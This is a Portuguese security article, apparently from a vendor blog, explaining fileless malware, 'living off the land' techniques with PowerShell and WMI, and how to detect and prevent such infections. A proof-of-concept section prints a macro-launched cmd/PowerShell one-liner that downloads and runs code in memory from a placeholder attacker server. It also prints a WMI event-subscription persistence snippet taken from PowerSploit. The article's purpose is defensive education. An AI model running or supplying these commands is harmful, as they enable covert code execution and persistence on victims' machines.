É comum associar malware a um arquivo que baixamos e executamos sem perceber. Embora esse conceito não seja totalmente errado, na verdade, também podemos encontrar malware que não requer nenhum arquivo do sistema para realizar atividades maliciosas. Esse tipo de ameaça é conhecida como fileless malware, um conceito que não é novo e está em uso desde o início dos anos 2000.
Ataques de fileless malware usam as próprias ferramentas e processos do sistema operacional por meio de uma técnica conhecida como "Living off the Land" ou "vivendo da terra" (tradução livre), que permite realizar atividades maliciosas usando elementos pré-instalados e sem droppear executáveis adicionais no sistema da vítima. Em outras palavras, a ameaça usa recursos do sistema operacional contra o usuário. Isso dificulta a detecção, já que o código malicioso é executado por meio de processos legítimos.
Como a técnica “living off the land” funciona?
A técnica living off the land é usada por cibercriminosos com conhecimentos mais avançados para dificultar a detecção de suas ações maliciosas no computador ou na rede da vítima, pois permite, entre outras coisas, escapar de diversos controles de segurança.
A técnica consiste em carregar e executar código malicioso através da memória do computador, sem afetar o sistema de arquivos. Consequentemente, o processo gera poucos (ou nenhum) artefatos forenses que podem ser analisados posteriormente.
É importante esclarecer que essa é uma técnica pós-exploração - ou seja, a vítima deve primeiro ter permitido que o código malicioso entre em seu sistema de alguma forma. Por exemplo, ao abrir um arquivo do Microsoft Office com uma macro maliciosa incorporada ou um documento PDF contendo código javascript malicioso. Esses são vetores de infecção muito comuns, mas também existem muitos outros.
Também há a possibilidade de que a ameaça seja 100% fileless caso o atacante explore alguma vulnerabilidade severa no sistema e o malware seja carregado na memória apenas por meio de pacotes de rede. Isso foi visto, por exemplo, com o backdoor SMB/Exploit.DoublePulsar, que explora uma vulnerabilidade no protocolo SMB 1.0. Essa ameaça ainda está ativa em países da América Latina.
Dificuldade em estabelecer persistência
Os atacantes também contam com uma desvantagem. A memória RAM é volátil e pode ser removida, por exemplo, reiniciando o computador. Isso faz com que, na maioria dos casos, os cibercriminosos tenham que estabelecer algum mecanismo de persistência para o malware. Embora uns sejam mais sofisticados do que outros, em todos os casos podemos encontrar algum vestígio dessa atividade que nos permite determinar a sua presença no dispositivo.
Além do caso mencionado anteriormente sobre o DoublePulsar, observamos recentemente o uso dessa técnica na campanha de malware “Operation Ghost” desenvolvida pelo grupo “The Dukes”, também conhecido como APT #29. A investigação foi publicada por pesquisadores da ESET em outubro deste ano. Os fileless backdoors usados por essa organização que realiza espionagem cibernética são RegDuke e POSHSPY.
Ainda neste artigo, veremos como podemos usar as mesmas ferramentas que os atacantes usam para auditar nossa rede e nos defender contra esses tipos de ameaças.
Quais ferramentas são usadas em ataques de fileless malware?
Como destacamos anteriormente, os atacantes "vivem da terra", já que as ferramentas que veremos a seguir estão instaladas e habilitadas por padrão em qualquer computador que use o Windows como sistema operacional. Por isso, eles não precisam usar ferramentas próprias. Cada uma das ferramentas listadas abaixo permite executar uma série de atividades legítimas, como configurar e gerenciar computadores ou redes inteiras.
- Powershell: é uma poderosa linguagem de script, além de um shell de linha de comando. Ela permite executar comandos e realizar diversas atividades, como baixar arquivos da Internet, enviar e-mails, modificar praticamente qualquer configuração do computador, seja de forma local ou remota, manipular aplicativos do Windows ou usar qualquer uma das ferramentas detalhadas a seguir. Além disso, permite desenvolver módulos próprios ou instalar módulos de terceiros. Devia a sua enorme versatilidade, Powershell é uma ferramenta muito atraente para administradores de rede e cibercriminosos.
- Windows Management Instrumentation (WMI) ou Common Information Model (CIM): para explicar rapidamente, CIM é um esquema desenvolvido pela DMTF que os desenvolvedores de software podem seguir para promover a interoperabilidade entre qualquer sistema, rede, aplicativo ou serviço. O WMI é a versão da Microsoft do esquema CIM e sua principal diferença é que ele é proprietário e só pode ser usado em sistemas operacionais Windows. O que deve ser observado é que o Windows oferece suporte a ambos os esquemas e seu uso pode ser intercambiável. A principal função de ambos é criar, controlar, modificar ou excluir objetos que representam tanto software como hardware e seus estados e configurações.
- .NET Framework o .NET Core: é a plataforma sobre a qual o Powershell é construído. Facilita a interação com WMI, CIM, COM, DCOM e outros objetos por meio de suas bibliotecas.
- Registro de Windows: banco de dados com configurações do sistema e dos aplicativos.
Veja um exemplo
Este exemplo teórico usa o Powershell como um mecanismo de execução de código remoto e pós-exploração, e assinaturas WMI como um mecanismo de persistência.
O objetivo deste exemplo, que não é baseado em nenhum malware em particular (apesar da abundância de exemplos), é ver como ele funciona. Esta é uma prova de conceito do que um atacante pode fazer ao sistema usando essas técnicas. Por uma questão de simplicidade, o código não é ofuscado, embora se fosse um cenário real, quase sem dúvidas também estaria ofuscado.
1. A vítima executa um documento do Office com uma macro incorporada. A macro chama a execução de duas instâncias de CMD da seguinte forma:
cmd/c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://bit.ly/<ServerAtacante>&& FOR /L %iIN (1,1,1000) DO echo"
cmd/c "powershell -Exec Bypass IEX (Get-WmiObjectWin32_Process -Filter \^"Name = 'cmd.exe' AND CommandLinelike '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"
2. Nesse caso, essa é a única instância na qual o atacante precisa usar arquivos. A partir de agora, tudo passa a ocorre na memória. Esses dois comandos criam duas novas instâncias de cmd.exe. Já a segunda, busca o conteúdo baixado do servidor do atacante e o executa no PowerShell na memória. Se analisados com o ProcMon, esses dois processos não terão relação entre si.
3. O código baixado da Internet pode ser algo assim:
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOption.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
} # Extracto del módulo de PowerSploit "Add-Persistance"
4. O código cria um Filtro de Eventos WMI (uma condição): é muito mais específico do que o Agendador de Tarefas do Windows. A atividade pode ser: a inicialização do sistema, o login de um determinado usuário, a execução de um arquivo ou praticamente qualquer coisa que você possa imaginar, já que a maioria das ações que são executadas no Windows geram eventos WMI.
O código também cria um Consumidor de Eventos (que é executado): isso é o que realmente será feito quando uma condição for atendida, o aplicativo que determinamos irá “consumir” o evento e agir de acordo com ele. O aplicativo pode conter o código de um script Powershell malicioso ofuscado, que por sua vez baixa mais código da Internet para a memória do computador.
Além disso, cria uma União (relaciona um Filtro de Eventos a um Consumidor de Eventos): é a última etapa necessária para que a atividade seja realizada. Especifica qual filtro de evento dispara qual consumidor de evento.
5. Realizando esse processo, o atacante agora conta com um mecanismo de persistência. A assinatura WMI pode conter código que, por sua vez, baixa mais código de um servidor que ela controla e será executado periodicamente. Além disso, ela terá a possibilidade de modificá-lo em tempo hábil, sem a necessidade de fazer alterações no computador da vítima.
6. Portanto, se você também usa o payload para excluir o arquivo do Office que iniciou o ataque (ou se não esquecermos sua existência por um segundo), o único artefato forense que resta no computador são as assinaturas WMI.
Como detectar uma infecção por fileless malware?
A resposta depende do tipo de malware e da política de logs e da auditoria que foi inicialmente adotada. Em geral, se o malware tentou persistir em seu computador, provavelmente criou entradas no registro, tarefas agendadas ou assinaturas WMI que podem ser identificadas. No entanto, se o malware não estabeleceu persistência, pode não ser possível detectá-lo, a menos que tenha havido uma geração de logs correspondentes antes do incidente.
Para o caso de malwares mais avançados como o DoublePulsar, mesmo gerando logs, a detecção pode ser bastante difícil, pois a memória afetada pertence ao kernel do Windows e os aplicativos não serão capazes de detectar essa atividade. Por esse motivo, é fundamental realizar a análise do tráfego da rede e prevenir a infecção seguindo os passos que destacamos a seguir.
Nesse caso, o ideal é:
- Gerar logs do uso do Powershell. Esse recurso é ativado por padrão na versão 5 e posteriores. Procure entradas suspeitas, como:
- Verificar o repositório WMI para encontrar assinaturas suspeitas usando o Powershell. Exemplo:
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Podemos até criar nossas próprias assinaturas WMI defensivas que nos alertam cada vez que novas assinaturas são criadas.
- Muitas dessas tarefas podem ser automatizadas. O Sysmon da Sysinternals é uma boa escolha para uso pessoal. Organizações maiores devem considerar o uso de um sistema EDR, tendo em conta o volume de informações geradas. Em ambos os casos, a chave será uma boa política de geração de logs e auditoria.
Como evitar a infecção por fileless malware?
- Não abra anexos que chegam por e-mail se a fonte não for confiável.
- Desabilite a execução de macros automaticamente no Office, pois é um mecanismo de propagação bastante comum. As macros podem ser desabilitadas globalmente por meio da Política de Grupo.
- Use soluções de segurança que analisam o tráfego de rede, como o ESET Network Attack Prevention.
- Use soluções de segurança que analisam comportamentos suspeitos na memória, como o ESET Advanced Memory Scanner. Essas soluções são capazes de identificar malwares residentes na memória.
- Mantenha o sistema operacional e os aplicativos com suas atualizações de segurança atualizadas.
- Use defesa em camadas (como Anti-Spam e NIDS).